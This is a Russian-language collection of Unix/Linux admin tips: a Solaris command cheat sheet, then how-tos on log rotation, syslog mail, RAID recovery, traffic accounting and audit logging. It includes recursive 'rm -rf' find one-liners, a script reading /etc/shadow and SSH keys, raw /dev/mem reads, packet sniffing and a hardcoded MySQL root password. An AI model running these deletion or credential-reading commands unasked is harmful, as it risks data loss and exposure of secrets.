    route add net 128.50.0.0 128.50.1.6 1 Добавить маршрут
    route change 128.50.0.0 128.50.1.5 Сменить маршрут
    route delete net 128.50.0.0 128.50.1.6 Удалить маршрут
    route flush Очистить таблицу маршрутов. Удаляются все записи
    route get [hostname] Определить интерфейс, используемый для доступа к удаленному хосту
    route monitor Мониторинг таблицы маршрутов

    Поиск
    egrep "patterna|patternb" Поиск нескольких шаблонов в одном файле
    find -name "" -exec rm -rf {} \; Рекурсивный поиск файлов по имени и их удаление
    find . -type f -print | xargs grep -i [PATTERN] Рекурсивный grep в файле
    find . ! -mtime - | /usr/bin/xargs rm -rf Найти и удалить файлы старше
    find . -exec egrep -li "str" {} \; Поиск строк в файлах, начинающихся с cwd
    find . -mtime -1 -type f Поиск недавно измененных файлов
    find . -type f -exec grep "" {} \; -print Искать файлы, содержащие в пределах дерева каталогов
    find ./ \! -type f -exec ls -l {} \;|grep -v '^[l|p|s|-]'|grep -v 'total' | wc -l Посчитать число подкаталогов в каталоге
    find / -fstype nfs -prune -o fstype autofs -prune -o -name filename -print Поиск вне файловых систем nfs
    find / -mtime <# of days> Найти файлы, модифицированные # дней назад
    find / -perm -2 -a ! -type l Найти файлы, доступные на запись 'others'
    find / -type f |xargs ls -s | sort -rn |more Список файлов, занимающих много дискового пространства
    find / -user Найти все файлы, принадлежащие
    find / | grep [file mask] Быстрый способ найти файл
    find /proc/*/fd -links 0 -type f -size +2000 -ls Поиск больших файлов, которые были удалены или перемещены, но остались открыты каким-либо процессом
    grep /var/sadm/install/contents| awk '{ print $1 ' ' $10 }' Найти какому пакету принадлежит файл
    ls -lR | grep Быстрая альтернатива find

    Безопасность
    crypt abc && rm abc.cr Дешифрация файла с помощью crypt
    crypt abc.cr && rm abc Шифрация файла с помощью crypt
    echo 'Please go away' > /etc/nologin Прекратить вход пользователей в систему
    find / -perm -0777 -type d -ls Найти все каталоги на запись
    find / -type f -perm -2000 -print Найти все SGID файлы
    find / -type f -perm -4000 -print Найти все SUID файлы
    trap 'exit 0' 1 2 3 9 15 Перехват специального сигнала и выход
    vi -x [filename] Зашифровать файл с помощью vi

    Установки терминала
    stty erase ^? Для удаления символа использовать клавишу delete
    stty erase ^H Для удаления символа использовать клавишу backspace
    stty sane Перезапустить терминал после просмотра бинарного файла
    tput rmacs Перезагрузить стандартный набор символов

    Snoop
    snoop -d pcelx0 Просматривать все пакеты на устройстве
    snoop -i /tmp/mylog -o /tmp/newlog host1 Все пакеты с host1 записывать в лог
    snoop -i /tmp/mylog -v -p101 Показать отладочную информацию по пакету 101 из лога
    snoop -i /tmp/mylog host1 host2 Просмотреть лог на предмет пакетов между hosts1 и host2
    snoop -o /tmp/mylog pcelx0 Сохранить все пакеты с устройства в лог
    snoop -s 120 Отобразить первые 120 байт заголовка пакета
    snoop -v arp Захват широковещательных пакетов arp в вашей сети
    snoop port [port-number] Монитроинг конкретного порта

    Файлы swap
    mkfile -nv 10m /export/disk1/myswap Создает пустой 10-и мегабайтный свап-файл в /export/disk1
    mkfile -v 10m /export/disk1/myswap Создает файл подкачки на 10 мегабайтов в /export/disk1

    Пространство swap
    swap -a /export/disk1/swapfile Добавить своп-файл
    swap -d /dev/dsk/c0t0d0s4 Удалить свап-устройство
    swap -l Вывести список текущих свап-устройств
    swap -s Вывод доступного пространства

    Конфигурация системы
    /usr/sbin/eeprom auto-boot? false Изменить переменную autoboot? таким образом, чтобы система загружалась только после подтверждения
    /usr/sbin/eeprom diag-switch? true Провести диагностику во время следующей загрузки
    /usr/sbin/eeprom local-mac-address?=true Настройка многопортовой сетевой карты
    /usr/sbin/grpck Проверить синтаксис /etc/group
    /usr/sbin/pwck Проверить синтаксис /etc/passwd
    /usr/sbin/sys-unconfig Очистить сетевую конфигурацию
    /usr/sbin/useradd Добавить пользователя
    drvconfig ; disks Добавить в систему диск горячей замены

    Системная информация и мониторинг
    /bin/echo "0t${stamp}>Y\n Перевод времени UNIX в удобоваримую форму
    /usr/platform/`/bin/uname -i`/sbin/prtdiag -v Диагностика системы
    /usr/sbin/eeprom Просмотр параметров eeprom
    /usr/sbin/prtconf -vp Детальный просмотр системной конфигурации
    coreadm -e log Отчет ядра
    grep "\-root" /var/adm/sulog | grep -v \+ | tail -25 Перечислить все попытки переключения на аккаунт root
    isainfo -bv Быстрая проверка режима 32 или 64 bit
    last Показать, кто и откуда входил в систему
    logger -i
    prtconf -pv | grep banner-name |awk -F\' ' { print $2 } ' | head -1 Показать модель сервера
    prtpicl -v | grep wwn Команда поиска постоянно выделенной памяти (?)
    psradm -f [processor id] Отключить процессор (?)
    psrinfo | wc -l Показать число процессоров
    sar -u Отчет о загрузке CPU
    sar [ -aA ] [ -o filename ] t [ n ] Обобщенный отчет об активности системы
    telnet 13 | grep ':' Получить время удаленной машины
    uname -a Отобразить системную информацию
    uname -X Отобразить системную информацию
    vmstat 10 Отчет о основных системных параметрах в течении 10 секунд
    who -b Причина последней перезагрузки
    ypcat hosts | sort -n -t. +0 -1 +1 -2 +2 -3 +3 -4 Взять вывод команд "ypcat hosts" или "cat /etc/inet/hosts" и сортировать по IP
     
    ----* Как в Solaris примонтировать локально .iso образ.   [комментарии]
     
      lofiadm -a cdrom.iso
      mount -F hsfs /dev/lofi/1 /mnt
      umount /mnt
      lofiadm -d /dev/lofi/1
    
     

       Syslog, ведение логов

    ----* Аудит системных пользователей (можно через Ansible)   Автор: ilya  [комментарии]
     
    Очень часто, на новом месте, хочется понимать всю картину (от слова совсем),
    кто какие ключи, какой пользователь, какой сервер и т.д. Простите за качество,
    но работает, суть в следующем, скрипт запускается на сервере (python2 без
    зависимостей), нагло грепает /etc/passwd /etc/shadow и пользовательские
    authorized_keys. В stdout выдает только тех пользователей у которых
    присутствует пароль и/или приватный ключ (читай могут войти удалённо):
    
    Скрипт: https://github.com/iHile/InventoriZE
    Копия: https://www.opennet.dev/soft/audit-system-users.py
    
    В Ansible интегрируется банально просто:
    
       - name: Executing audit-system-users script...
         script: "audit-system-users.py --json"
         environment:
           INVENTORY_HOSTNAME: "{{ inventory_hostname }}"
           INVENTORY_GROUPS: "{{ group_names | join(',') }}"
           ANSIBLE_DATE_TIME_ISO8601: "{{ ansible_date_time.iso8601 }}"
           ANSIBLE_HOST: "{{ ansible_host }}"
           INVENTORY_DESCRIPTION: "{{ inventorize_description }}"
         args:
           executable: "{{ ansible_python.executable }}"
         register: audit_system_users_run
    
    Предложенный вывод можно скармливать в ELK и получить довольно чёткую картину происходящего.
    
    p.s. Обратите внимание, что никаких штук вроде LDAP/FREEIPA - не нужно, утилита
    самодостаточно грепает активных пользователей и выдает в stdout/json
    
     
    ----* Настройка ротации логов MongoDB   Автор: linuxquestions.ru  [комментарии]
     
    По умолчанию MongoDB обычно не имеет настройки ротации логов.
    Это порой приводит к неприятным последствиям, особенно на арбитрах в реплике.
    Обычно их устанавливают на разного рода микроинстансы с минимальным количеством
    свободного места, так как основная задача арбитров следить за прохождением
    выборов и место под хранение данных им нужно минимальное.
    
    По умолчанию mongodb при вызове ротации логов просто переименовывает файл. Эту
    ротацию можно вызвать прямо из консоли mongoclient:
    
        use admin
        db.runCommand( { logRotate : 1 } )
    
    Это не совсем удобно для автоматизации, поскольку отсутствует механизм удаления
    больших и старых файлов. Однако такой механизм присутствует в утилите
    logrotate, которая имеется почти во всех популярных дистрибутивах Linux.
    
    Для корректной настройки классической ротации логов с помощью logrotate.d.нам
    потребуется немного исправить /etc/mongod.conf:
    
       systemLog:
           destination: file
           path: "/var/log/mongodb/mongod.log"
           logAppend: true
           logRotate: reopen
    
    logAppend: true нам нужен с целью дописывания в конец файла, а logRotate:
    reopen нужен для того, чтобы файл переоткрывался после ротации, т.к. мы будем
    ротировать файл с помощью внешней утилиты logrotate.
    
    Советую также обратить внимание на путь к pid-файлу демона mongod (секция
    processManagement, опция pidFilePath), он нам потребуется позднее.
    
    После исправления файла конфигурации не забудьте перезапустить MongoDB.
    
    Теперь нам необходимо создать файл /etc/logrotate.d/mongodb со следующим содержимым:
    
        /var/log/mongodb/mongod.log
        {
            rotate 7
            daily
            size 1M
            missingok
            create 0600 mongodb mongodb
            delaycompress
            compress
            sharedscripts
            postrotate
                    /bin/kill -SIGUSR1 $(cat /var/run/mongodb.pid)
            endscript
        }
    
    Команда kill посылает сигнал SIGUSR1 процессу, id которого считывается из
    /var/run/mongodb.pid (здесь должен быть путь из pidFilePath).
    
    Протестировать данный файл достаточно легко:
    
       logrotate --force /etc/logrotate.d/mongodb
    
     
    ----* Отправка сообщений Syslog на почту   Автор: Jordan  [комментарии]
     
    Возникла необходимость рассылать некоторые уведомления из Syslog-a на почту. К
    сожалению такой функциональности по умолчанию в systlg не было. Порывшись в
    интернете нашел два способа решения проблемы.
    
    
  • замена Syslog на Rsyslog с использованием модуля ommail
  • Написание скрипта для крона, который будет отслеживать изменения в логах с дальнейшей отправкой. Ни один из методов не показался интересным, поэтому вернулся к руководству. В руководстве наткнулся на следующее: The action field of each line specifies the action to be taken when the selector field selects a message. There are five forms: A vertical bar ("|"), followed by a command to pipe the selected messages to. То есть, "можно перенаправить сообщение на команду". В связи с чем появилась первая попытка console.* |mail -s "info" "user@mail.net" Закончившаяся фиаско, так как сообщения накапливались в буфере и отправка происходила только после рестарта самого сислога. После чего было решено использовать простой скрипт console.* /var/log/console.log console.* |/home/user/toor/sysmail.sh где сам sysmail.sh #!/usr/local/bin/bash read data echo $data | mail -s "info" "user@mail.net" В итоге получаем следующее. События записываются в файл на системе и отсылаются на почту user@mail.net с темой info.
  •  
    ----* Скрипт генерации статистики для Free-SA   Автор: Linjan  [комментарии]
     
    Анализатор логов Squid Free-SA (http://free-sa.sourceforge.net/) значительно
    удобнее и быстрее SARG. Во FreeBSD его можно установить из портов
    (/usr/ports/www/free-sa/). Настраивается программа достаточно тривиально,
    достаточно использовать поставляемый в комплекте (после установки порта
    находится в /usr/local/etc/free-sa/) пример free-sa.conf.sample, поменяв там
    путь к логам Squid в директиве "log_file".
    
    Через файл usertab (путь задается директивой username_file) можно определить
    псевдонимы для замены IP адресов именами пользователей, например, указав
    "192.168.0.1 Директор". При необходимости меняем путь к директории для
    сохранения сгенерированных отчетов (target_directory) и директории для
    сохранения временного кэша данных из лога Squid (директива cache_directory).
    
    Базовые параметры можно переопределить вручную, запустив из командной строки:
    
       free-sa -d 20.09.2010-21.09.2010 -l путь_к_логу_squid -o директория_для_сохранения_отчетов
    
    Ниже представлен скрипт для генерации статистики по заданным интервалам:
    
       #!/bin/bash
    
       # Modification for free-sa
       # Idea:
       ## SARG - Daily/Weekly/Monthly Squid usage reports creation tool
       ## Written by Ugo Viti <ugo.viti@initzero.it>
       ## Thanks for enanchements to:
       ## - martijn
       ## - Stas Degteff https://sourceforge.net/users/stas_degteff/
       # Modification by Linjan <tank1992@gmail.com>
    
       FREESA="/usr/local/bin/free-sa"
       CONFIG="/usr/local/etc/free-sa/free-sa.conf"
       TMPFILE=`/bin/mktemp`
       ERRORS="${TMPFILE}.errors"
    
       # Date Calc
       MANUALDATE=$2
       case "$(uname)" in
       "FreeBSD")
            TODAY=$(date +%m/%d/%Y)
            YESTERDAY=$(date -v-1d +%m/%d/%Y)
            WEEKAGO=$(date -v-1w +%m/%d/%Y)
            MONTHAGO=$(date -v-1m +%m/01/%Y)-$(date -v-1m +%m/31/%Y)
      ;;
       *)
            TODAY=$(date --date "today" +%m/%d/%Y)
            YESTERDAY=$(date --date "1 day ago" +%m/%d/%Y)
            WEEKAGO=$(date --date "1 week ago" +%m/%d/%Y)
            MONTHAGO=$(date --date "1 month ago" +%m/01/%Y)
      ;;
      esac
    
      manual ()
      {
        if [ -z "$MANUALDATE" ]
        then
          echo "No date given, please specify a valid date (MM/DD/YYYY)"
        else
          $FREESA -f $CONFIG -d $MANUALDATE-$MANUALDATE
        fi
      }
    
      today ()
      {
        $FREESA -f $CONFIG -d $TODAY-$TODAY >$ERRORS 2>&1
      }
     
      daily ()
      {
        $FREESA -f $CONFIG -d $YESTERDAY-$YESTERDAY >$ERRORS 2>&1
      }
    
      weekly ()
      {
        $FREESA -f $CONFIG -d $WEEKAGO-$YESTERDAY >$ERRORS 2>&1
      }
    
      monthly ()
      {
        $FREESA -f $CONFIG -d $MONTHAGO-$YESTERDAY >$ERRORS 2>&1
      }
    
      case $1 in
       manual)
           manual
           ;;
       today)
           today
           ;;
       daily)
           daily
           ;;
       weekly)
           weekly
           ;;
       monthly)
           monthly
           ;;
        *)
           echo "Usage: $0 [OPTIONS]"
           echo
           echo "Allowed options:"
           echo "    manual,  Create Manual report"
           echo "    date format is MM/DD/YY"
           echo "     today,  Create Today report"
           echo "     daily,  Create Daily report"
           echo "    weekly,  Create Weekly report"
           echo "   monthly,  Create Monthly report"
           exit 0
      esac
    
    Помещаем данный скрипт в директорию, откуда будем его запускать, присваиваем
    права запуска и добавляем эти строки в crontab:
    
       00 00 * * * freesa-reports daily
       00 01 * * 1 freesa-reports weekly
       30 02 1 * * freesa-reports monthly
    
     
    ----* Борьба с kernel panic в Linux-ядре 2.6.35 и выше   Автор: Аноним  [комментарии]
     
    Начиная с версии 2.6.35 в Linux-ядре появилась полезная функция "ramoops",
    позволяющая в случае краха сохранять информационный дамп состояния ядра в
    памяти для последующего анализа. Данные сохраняются только при мягкой
    перезагрузке, без очистки прошлого состояния памяти. Вкомпилировать данную
    функцию в ядро или загружать модулем "ramoops" - без разницы.
    
    Единственная хитрость - сначала нужно зарезервировать память в ядре.
    Сделать это можно указав ядру параметр memmap=256K@0xfc0000
    (резервируем 256К перед ядром).
    
    Если ramoops в ядре, то добавляем параметры 
    
       ramoops.mem_address=0xfc0000 и
       ramoops.mem_size=0x40000
    
    параметр ramoops.dump_oops=1 является умолчанием, так что его можно не указывать.
    
    Для модуля "ramoops" эти параметры нужно указать при загрузке.
    
    Теперь чтобы ядро не осталось в мертвом виде, не забываем сделать
    
       echo 10 >/proc/sys/kernel/panic
    
    и (если нужно, а иногда полезно)
    
       echo 1 >/proc/sys/kernel/panic_on_oops
    
    Теперь проверяем при помощи crash-а через Alt-SysRq-C.
    
    После перезагрузки, текст crash-дампа будет лежать в памяти, начиная с адреса 0xfc0000.
    
    Достать его оттуда можно при помощи
    
       dd if=/dev/mem bs=256k skip=63 count=1 >>crash.txt
    
    либо при помощи простенькой программы, которая открывает /dev/mem и с
    указанного смещения читает данные.
    
    Для сохранения дампа на диск следует использовать похожую функцию mtdoops.
    
    Дополнение: Для работы в ядре необходимо выключить опцию CONFIG_STRICT_DEVMEM 
    
     
    ----* Быстрый способ учета трафика на сетевых интерфейсах (доп. ссылка 1)   Автор: Gleb Poljakov  [комментарии]
     
    Дано:
    Почтовый сервер на базе Ubuntu 8.10
    Четыре сетевых интерфейса
    
    Необходимо:
    Считать трафик на каждом интерфейсе, вести статистику.
    
    Решение:
    vnstat (http://humdi.net/vnstat/) - маленький консольный пакет, который считает трафик 
    на указанных интерфейсах и не загружает систему. Показывает статистику по часам, дням неделям и тд.
    Не требует для своей работы привилегий суперпользователя, поддерживает Linux,
    *BSD и Darwin/MacOS X.
    Для доступа к статистике дополнительно доступен web-интерфейс.
    
    Устанавливаем vnstat:
    
       #apt-get install vnstat
    
    Инициализируем базу данных для каждого необходимого интерфейса:
    
       #vnstat -u -i eth0
       #vnstat -u -i eth1
       #vnstat -u -i eth2
    
    Далее необходимо сказать vnstat запустить мониторинг интерфейса.
    Это можно сделать путем ifdown/ifup для каждого интерфейса,
    либо, если нет желания 
    разрывать соединения выполнить для каждого:
    
       #IFACE=eth${i}
       #export IFACE
       #/bin/sh -x /etc/network/if-up.d/vnstat
    
    где ${i} порядковый номер интерфейса.
    
    Все, мониторинг готов, теперь по прошествии нескольких минут можно смотреть статистику
    
       #vnstat -q 
    
     
    ----* Восстановление программного RAID в Debian Lenny   Автор: dimarem  [комментарии]
     
    Пришло сообщение, что отказал RAID:
    
      This is an automatically generated mail message from mdadm running on
      A DegradedArray event had been detected on md device /dev/md0. 
      Faithfully yours, etc.
      P.S. The /proc/mdstat file currently contains the following:
      Personalities : [raid1]
      md0 : active raid1 sda2[1]
         388604224 blocks [2/1] [_U]
      unused devices: <none>
    
    
    
    Смотрим, что случилось:
    
       #cat /proc/mdstat
    
       Personalities : [raid1]
       md0 : active raid1 sdb2[1]
         388604224 blocks [2/1] [_U]
       
       #mdadm --detail /dev/md0
    
       /dev/md0:
           Version : 00.90
        Creation Time : Thu Feb 19 14:59:47 2009
        Raid Level : raid1
        Array Size : 388604224 (370.60 GiB 397.93 GB)
        Used Dev Size : 388604224 (370.60 GiB 397.93 GB)
        Raid Devices : 2
       Total Devices : 1
       Preferred Minor : 0
       Persistence : Superblock is persistent
    
       Update Time : Thu Mar 12 11:23:38 2009
             State : active, degraded
       Active Devices : 1
       Working Devices : 1
       Failed Devices : 0
       Spare Devices : 0
       UUID : 60b0013f:7372c5d4:262fce52:c3c9a424
       Events : 0.321
    
       Number   Major   Minor   RaidDevice State
          0       0        0        0      removed
          1       8       18        1      active sync   /dev/sdb2
    
    Вынимаем битый диск и подсовываем такой же по размеру, проверяем:
    
       # fdisk -l
       Disk /dev/sda: 400.0 GB, 400088457216 bytes
       Disk /dev/sda doesn't contain a valid partition table
    
       Disk /dev/sdb: 400.0 GB, 400088457216 bytes
       Device Boot      Start         End      Blocks   Id  System
       /dev/sdb1               1         262     2104483+  82  Linux swap / Solaris
       /dev/sdb2   *         263       48641   388604317+  fd  Linux raid autodetect
    
    Создаем разделы, как на живом диске:
    
       # sfdisk -d /dev/sdb | sfdisk /dev/sda
    
    Проверяем разбивку:
    
       # fdisk -l
       Disk /dev/sda: 400.0 GB, 400088457216 bytes
       Device Boot      Start         End      Blocks   Id  System
       /dev/sda1               1         262     2104483+  82  Linux swap / Solaris
       /dev/sda2   *         263       48641   388604317+  fd  Linux raid autodetect
    
       Disk /dev/sdb: 400.0 GB, 400088457216 bytes
       Device Boot      Start         End      Blocks   Id  System
       /dev/sdb1               1         262     2104483+  82  Linux swap / Solaris
       /dev/sdb2   *         263       48641   388604317+  fd  Linux raid autodetect
    
    Теперь можно подключить новый диск в raid:
    
       # mdadm --add /dev/md0 /dev/sda2
    
       mdadm: added /dev/sda2
    
    Проверяем как идет процесс ребилдинга:
    
       # cat /proc/mdstat
       Personalities : [raid1]
       md0 : active raid1 sda2[2] sdb2[1]
         388604224 blocks [2/1] [_U]
         [>....................]  recovery =  0.5% (1944960/388604224) finish=102.7min speed=62740K/sec
    
       unused devices: <none>
    
    и не забыть про grub:
    
       # grub
       grub> root (hd1,0)
       grub> setup (hd1)
       grub> quit
    
    И все готово.
    
     
    ----* Временное ведение лога всех запросов к MySQL (доп. ссылка 1)   [комментарии]
     
    Использование опций конфигурации log-slow-queries и general_log, позволяющих вести полный лог 
    медленных или всех запросов, требует перезапуска mysql для включения или выключения ведения логов, 
    что неудобно в ситуации, когда нужно проанализировать запросы только в текущий момент.
    Для анализа запросов (не через локальный сокет) на лету можно воспользоваться сетевым сниффером.
    
    Перехватываем и записываем срез трафика MySQL в файл:
    
       tcpdump -i eth0 port 3306 -s 1500 -w tcpdump.out
    
    Выделяем из дампа SQL запросы, используя утилиту tshark из комплекта сниффера
    Wireshark (http://www.wireshark.org/):
    
       tshark -r tcpdump.out -d tcp.port==3306,mysql -T fields -e mysql.query > query_log.out
    
    Удаляем из полученного лога пустые и неинформативные строки:
    
       cat query_log.out | grep -vE "^(commit.*|autocommit.*|rollback.*|)$" | awk '{print $0 ";"}' > query_log_no_blank.out
    
    Полученный лог удобно анализировать утилитой mysqlsla (http://hackmysql.com/mysqlsla)
    
     
    ----* Помещение данных о входящем трафике из ipcad в лог squid (доп. ссылка 1)   Автор: Забудкин Лев Мирославович  [комментарии]
     
    Чтобы анализаторы логов прокси сервера squid отображали данные о пересылках в обход прокси, 
    например данные по почтовому или ssh трафику, можно сохранить данные о таких
    пересылках в логе squid.
    
    Настройки ipcad:
    
        capture-ports enable;
        interface ppp* filter "ip and not dst net 192.168.0.0/16";
        aggregate 0.0.0.0/0 strip 32; /* Считаем все адреса */
        /* Теперь укажем какие порты как отображать */
        aggregate 1-19 into 65535;
        aggregate 20-21 into 21;
        aggregate 22-23 into 22;
        aggregate 25 into 25;
        aggregate 24 into 65535;
        aggregate 26-79 into 65535;
        aggregate 80-81 into 0;
        aggregate 82-109 into 65535;
        aggregate 110 into 110;
        aggregate 111-442 into 65535;
        aggregate 443 into 443;
        aggregate 444-3127 into 65535;
        aggregate 3128 into 0;
        aggregate 3129-65535 into 65535;
    
    Сам файл обработки ipcad и записи в сквидовский лог:
    
        #!/bin/sh
        net="192.168"
        ttime=`/usr/bin/rsh localhost sh ip acco|/bin/grep 'Accounting data saved'| /bin/awk '{print ($4)}'`
        /usr/bin/rsh localhost clear ip accounting
        /usr/bin/rsh localhost show ip accounting checkpoint|/bin/grep $net|/bin/awk -v vtime=$ttime '{print (vtime".000",1,$1,"TCP_MISS/200",$4,"CONNECT",$2":"$6,"-","DIRECT/"$2,"-")}' >>/var/log/squid/access.log
    
    Вместо 192.168 Вы можете указать свою сеть, которую брать с ipcad'а и заносить
    в лог прокси сервера Squid.
    
    Таким образом весь трафик, указанный в настройках ipcad'а будет отображен в access.log сквида, 
    который в данном примере находится в папке /var/log/squid.
    
     
    ----* Быстрй перенос лог-файлов в MySQL   Автор: Alexey Lazarev  [комментарии]
     
    Наверняка, каждый сталкивался с задачей переноса лог-файлов из текстовых файлов в различные БД. 
    И, наверняка, каждый столкнувшийся начинал писать собственные скрипты под это дело. 
    Причем большинство виденных мной скриптов основывались на построчном чтении/переносе данных. 
    Данный способ, конечно, хорош и имеет право на существование, но, к сожалению не очень быстр.
     Но в MySQL существует способ перенести данные из обычных текстовых файлов в БД 
    очень и очень быстро при помощи директивы LOAD DATA INFILE
    
    Пример такого скрипта:
    
    #!/bin/bash
    nld='/var/log/squid3'    # Путь к лог-файлам
    nbd='/opt/backup/squid3' # Путь к папке резервного хранения лог-файлов
    nrc=`squid3 -k rotate`   # Команда ротации лог-файлов для данного сервиса
    nlf='/var/log/logs2mysql/squid.log' # На всякий случай пишем что и когда делали
    
    mh='localhost' # Mysql host
    mu='root'      # Пользователь mysql
    mp='secret'    # Его пароль
    mb='logs'      # База данных
    mt='squid'     # Таблица
    
    echo `date +"%F %T"` "Начало выгрузки" >> $nlf && \
    
    $nrc && \
    for i in `ls $nld | grep access.log.`;
    do
        year=`date +"%Y"`
        month=`date +"%m"`
        day=`date +"%d"`
        prefix=`date +"%F-%H"`
        test -d $nbd/$year/$month/$day || mkdir -p $nbd/$year/$month/$day && \
        cat $nld/$i | sed -e 's/\"/\\\"/g' | sed -e "s/\'/\\\'/g" | \
          awk ' {print strftime("%F",$1),strftime("%T",$1),$1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11} ' | \
          sed -e "s/ /\t/g" > $nld/prepare.log && \
        chmod 0777 $nld/prepare.log && \
        mysql -h $mh -u $mu -p$mp -e "LOAD DATA INFILE \"$nld/prepare.log\" REPLACE INTO TABLE $mb.$mt;" && \
        cat $nld/$i >> $nbd/$year/$month/$day/$prefix.log && rm $nld/$i && rm $nld/prepare.log 
    done
    echo `date +"%F %T"` "Конец выгрузки" >> $nlf
    
    Поля для таблицы ('Поле'-тип)
    
    'date'-date
    'time'-time
    'timestamp'-varchar(16)(разные сервисы пишут по разному.Кто-то с милисекундами, кто-то без)
    'elapsed'-int(20)
    'ip'-varchar(15)
    'code'-varchar(20)
    'size'-int(20)
    'method'-varchar(10)
    'url'-varchar(255)
    'user'-varchar(255)
    'direct'-varchar(25)
    'mime'-varchar(25)
    'hash'-varchar(255)unique
    
    C небольшими изменениями данный скрипт можно приспособить для обработки
    лог-файлов не только squid, но и других сервисов. Необходимое условие: 
    четкое разграничение полей (можно, поиграться с указанием разграничителей полей 
    в директиве LOAD DATA INFILE).
    К преимуществам данного скрипта можно отнести огромное быстродействие
    (п4-3,2 1024Мб ОЗУ 4млн. строк за 10-12 сек.).Также по последнему полю "hash" мы можем уникальным 
    образом идентифицировать строку (при анализе логов за год по squid и net-acct я не обнаружил 
    одинаковых строк).А также гарантированное попадание всех строк в БД
     (т.к. данные не удаляются при сбое mysql). 
    
     
    ----* Логгирование POST-запросов в apache (доп. ссылка 1)   Автор: mahoro  [комментарии]
     В некоторые моменты чувствую себя очень неуютно из-за того, что нет возможности посмотреть, что конкретно делают с моим сервером некоторые персоны. Я долго искал возможность логгировать все, в том числе и POST запросы клиентов и нашел способ - через mod_security.

    Устанавливается он элементарно apxs -cia mod_security.c (см документацию, правда, для его работы в наиболее удобном, "Concurrent", режиме логгирования, нужен модуль unique_id. После установи модуля следует добавить следующую секцию в httpd.conf:

       <IfModule mod_security.c>
           SecAuditEngine On
    
       # У mod_security есть два механизма логгирования, Concurrent - более быстрый и продвинутый.
           SecAuditLogType Concurrent
    
       # Здесь будет храниться индекс - файл, по структуре похожий на    access_log + идентификаторы, 
       # по которым можно найти полную информацию в StorageDir
           SecAuditLog /var/log/www/audit/index
    
       # Тут хранятся все данные запросов. Каждый запрос в отдельном файле. 
       # Запросы разнесены по каталогам (вместе все запросы одной транзакции, вместе все транзакции одного дня)
           SecAuditLogStorageDir /var/log/www/audit/data/
    
       # Наиболее полное логгирование (man)
           SecAuditLogParts ABCDEFGHZ
    
       # Добавить обработку POST данных. 
           SecFilterScanPOST On
           SecFilterEngine On
    
       # Следующие строки нужны для сохранения загруженных на сервер файлов:
           SecUploadDir /var/log/www/audit/upload
           SecUploadKeepFiles On
    
       </IfModule>
    

    Включать это имеет смысл при подозрении, что кто-то пытается использовать вашу систему не по назначению, теперь любой шаг проходимца будет записан.

    p.s. Работоспособность конфига проверялась в apache 1.3.37, mod_security 1.9.4, но работать должно и в 2.0/2.0

     
    ----* Хранение файлов конфигурации в RCS (доп. ссылка 1)   Автор: mahoro  [комментарии]
     
    Система управления версиями RCS пригодилась для сохранения резервных копий 
    файлов конфигурации и нескольких Perl модулей, активная разработка которых уже завершена, 
    но мелкие исправления и переделки еще бывают.
    
    Итак, для работы с RCS используются следующие команды - 
       ci (импорт файлов в репозиторий), 
       co (экспорт), 
       rcs (манипулирование флагами файлов и проч.), 
       rcsdiff, 
       rlog. 
    
    Пусть file - файл, который требуется передать в управление RCS.
       ls -la > file
    
    Первым делом нужно создать каталог для репозитория
       mkdir RCS
    
    Затем импортировать файл. В общем случае это делается так:
       ci file
    
    Исходный файл _перемещается_ в репозиторий (если он там уже есть, то под новой версией).
    
    Извлечь файл из репозитория можно командой:
       co file 
    (файл будет иметь права доступа 444)
    
    Чтобы изменить файл, нужно установить его блокировку и установить права доступа, разрешающие запись
       rcs -l file
       chmod o+w file
    
    Чтобы записать изменения нужно снова выполнить
       ci file
    
    
    Итак, это все, что нужно для того чтобы начать работать.
    Теперь пара команд, для того, чтобы работать было удобно :)
    
       co -l file - синоним co file; rcs -l file; chmod 644 file - извлечь, заблокировать файл, разрешить запись.
       ci -u file - синоним ci file; co file - сохранить файл и извлечь рабочую копию
       ci -l file - синоним ci file; co -l file - сохранить файл, сделать co -l
    
    В случае, если с файлом работает один пользователь, то в блокировках нет
    никакого смысла, и от них можно отказаться:
    
       ci -l file (первоначальный импорт)
       rcs -U file (установка перманентной блокировки)
       vi file 
       ci -l file (файл сохранится в RCS и будет готов к дальнейшей работе)
    
    Далее, самые распространненые задачи:
    
    Извлечь файл из репозитория
       co file
       co -l file (синоним co file, rsc -l file -- извлечение и блокировка)
       co -r1.2 file (извлечение определенной версии файла)
    
    Посмотреть различия между текущей (=рабочей) версией и последней, сохраненной в RCS
       rcsdiff file
    
    Посмотреть различия между произвольными двумя версиями
       rcsdiff -r1.1 -r1.2 file
    
    Посмотреть логи редактирования файла
       rlog file
    
    Дальнейшее чтение: rcsintro(1), rcs(1), co(1), ci(1).
    
     
    ----* Как вести лог блокировок в iptables и ipfw   [комментарии]
     
    Linux:
    
    - Перед правилом блокировки нужно вставить "log" правило:
       iptables -A FORWARD -p tcp -m tcp -s 192.168.0.0/16 --dport 25 \
          -j LOG --log-level debug --log-prefix "outgoing mail" 
       iptables -A FORWARD -p tcp -m tcp -s 192.168.0.0/16 --dport 25 -j DROP
    
    - Проверить запущены ли в системе klogd и syslogd.
    
    - Настроить /etc/syslog.conf на прием kern.debug логов:
       kern.=debug   -/var/log/kernel/info
    
    FreeBSD:
    Добавить ключ log в ipfw, например:
       ipfw add 1000 deny log tcp from any to 192.168.10.10 22 via fxp0
       ipfw add 1000 deny log logamount 0 tcp from any to 192.168.10.10 80 via fxp0
    
    Для ведения логов ядро должно быть собрано с IPFIREWALL_VERBOSE или нужно
    выставить "sysctl -w net.inet.ip.fw.verbose=1".
    
    Далее проверить чтобы в /etc/syslog.conf было упоминание LOG_SECURITY:
       security.*      /var/log/security
    
    Через параметр logamount передается число записей которые будет записано в лог, 
    после превышения записи перестанут появляться в логе, до тех пор пока не будет вызвана команда 
    "ipfw resetlog". Максимальное число сообщений можно также установить 
    через sysctl net.inet.ip.fw.verbose_limit. 
    Для отмены лимитирования на число записей, нужно установить атрибут в 0.
    
     
    ----* Статистика сетевых соединений через syslog и iptables   Автор: umask  [комментарии]
     
    Часто недовольные пользователи приходят и просят дать им распечатку логов доступа в интернет. 
    Отчасти это позволяет сделать squid, но только при прозрачном проксировании, да
    и то логи только по http-протоколу.
    
    На помощь приходит iptables и syslog.
    
    Настраиваем в syslog.conf добавление сообщений от ядра уровня debug (или
    уровня, который вам удобнее)
     в отдельный файл. Лучше всего хранить эти логи на отдельном разделе (их размер огромен! 
    но проблему решает gzip - сжимает логи более чем в 10 раз).
    
    В моём syslog.conf была добавлена строка:
          kern.=debug                                 -/var/log/access/access
    
